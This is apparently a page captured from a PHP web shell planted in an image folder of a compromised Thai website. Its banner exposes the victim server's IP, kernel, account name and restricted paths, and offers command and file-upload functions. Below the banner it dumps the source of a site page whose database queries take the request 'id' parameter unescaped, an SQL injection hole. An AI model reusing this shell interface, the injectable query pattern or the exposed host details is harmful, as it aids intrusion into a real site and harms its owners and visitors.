|
Server IP : 124.109.2.77 / Your IP : 216.73.216.49 Web Server : Apache/2 System : Linux ns4.amiprocorp.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64 User : cpctlp ( 1020) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 329 OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 335 OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 341 OFF Directory (0755) : /home/cpctlp/domains/cpctlphp.com/private_html/../public_html/images/../css/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
header('Content-Type: text/plain; charset=utf-8');
header('Content-Type: text/html; charset=utf-8');
//กำหนดให้ IE อ่าน page นี้ทุกครั้ง ไม่ไปเอาจาก cache
header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header ("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
include ("Connections/config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="keywords" content="<?php echo $config[web_keywords];?>" />
<meta name="description" content="<?php echo $config[web_description];?>" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
<link rel="shortcut icon" href="images/<?php echo $config[web_icon];?>" />
<link href="https://fonts.googleapis.com/css?family=Kanit" rel="stylesheet">
<style type="text/css">
body {
font-family: 'Kanit', sans-serif;
background-image: url("images/bg2.jpg");
}
</style>
<script type="text/javascript" src="galleryshow-css-js/js/prototype.js"></script>
<script type="text/javascript" src="galleryshow-css-js/js/scriptaculous.js?load=effects,builder"></script>
<script type="text/javascript" src="galleryshow-css-js/js/lightbox.js"></script>
<link rel="stylesheet" href="galleryshow-css-js/css/lightbox.css" type="text/css" media="screen" />
<?php
include ("Connections/function-sys.php");
$sql="select banner_header.* from banner_header order by aID desc ";
$arr=$db->getRec($sql);
$header=$arr[Img1];
$linkID=substr($_REQUEST[id],5,strlen($_REQUEST[id])-5);
$uniqid=substr($_REQUEST[id],0,5);
?>
</head>
<body bgcolor="#FFFFFF" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" >
<!-- Save for Web Slices (index.psd) -->
<table style="width:90%;max-width: 1200px;" border="0" align="center" cellpadding="0" cellspacing="0" id="Table_01">
<tr>
<td bgcolor="#FFFFFF"><IMG SRC="admin/slidecenter/picslide/<?php echo $header;?>" style="width:100%;max-width: 1200px;" BORDER="0" ></td>
</tr>
<tr>
<td valign="top" bgcolor="#FFFFFF"><BR>
<!-- Contents -->
<!-- <div width=90% align="right">
<a href="http://www.facebook.com/sharer.php?u=<?php echo "$config[UrLLink]/ShowLink.php?id=$_REQUEST[id]";?>"><IMG SRC="images/share-facebook.png" WIDTH="90" BORDER="0" ALT="แชร์หน้านี้"></a>
</div> -->
<!-- Font-Size -->
<?php
// include ("Font-Size.php");
?>
<!-- Font-Size -->
<?php
$sql2="update link set aOpen=aOpen+1 where linkID='$linkID' and link.uniqid='$uniqid' ";
$db->query($sql2);
$sql="select link.* from link where linkID='$linkID' and link.uniqid='$uniqid' ";
$arrE=$db->getRec($sql);
$aOpen=$arrE[aOpen];
$arrE[qFile]=trim($arrE[qFile]);
if(!empty($arrE[qFile])){
$File=explode(".",$arrE[qFile]);
if(strtolower($File[1])=="pdf"){
$qFile="<embed src=\"admin/images/link/$arrE[qFile]\" type=\"application/pdf\" height=\"750px\" width=\"100%\">";
}
if(strtolower($File[1])=="jpg" or strtolower($File[1])=="png" or strtolower($File[1])=="gif" or strtolower($File[1])=="pjpeg"){
$qFile="<CENTER>
<A HREF=\"admin/images/link/$arrE[aImg]\" target=doc><IMG SRC=\"admin/images/link/$arrE[qFile]\" BORDER=0 class=\"img-rounded\" style=\"width:90%\"></A>
</CENTER>";
}
if(strtolower($File[1])!="pdf" and strtolower($File[1])!="jpg" and strtolower($File[1])!="png" and strtolower($File[1])!="gif" and strtolower($File[1])!="pjpeg"){
$qFile="<BR><BR><CENTER><A HREF=\"admin/images/link/$arrE[qFile]\" target=doc><IMG SRC=\"admin/images/icons/cloud-download.png\" WIDTH=\"62\" \ BORDER=\"0\"><BR>ดาวน์โหลดเอกสาร</A></CENTER>";
}
}
if(!empty($arrE[url])){
$aLink="<BR><BR><CENTER><A HREF=\"$arrE[url]\" target=doc><IMG SRC=\"admin/images/icons/cloud_link-512.png\" WIDTH=\"62\" \ BORDER=\"0\"><BR>ลิงค์ข้อมูลเพิ่มเติม</A></CENTER>";
}
$arrE[name]=htmlspecialchars_decode($arrE[name], ENT_QUOTES);
$arrE[title]=htmlspecialchars_decode($arrE[title], ENT_QUOTES);
$arrE[linkDate]="วันที่ ".ShowAllDate($arrE[linkDate],2)." เวลา".substr($arrE[linkDate],10,10)." น.";
echo <<<DOC
<table width="97%" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td align=right style="font-size:12px;">อ่านแล้ว $aOpen ครั้ง</td>
</tr>
</table><BR>
<table width="85%" border="0" align="center" cellpadding="0" cellspacing="0">
<TR><TD colspan="3" style="font-size:14px;"> <strong>$arrE[name]</strong> <BR>$arrE[title] $qFile $aLink<BR><BR><span class="pull-right"style="color:#999999;font-size: 12px;">$arrE[linkDate]</span><BR><BR></TD></TR>
<TR><TD colspan=3><BR></TD></TR>
<TR>
</table>
DOC;
?>
<!-- Contents -->
<p> </p>
<p> </p></td>
</tr>
<tr>
<td bgcolor="#003399"><BR></td>
</tr>
</table>
<!-- End Save for Web Slices -->
</body>
</html>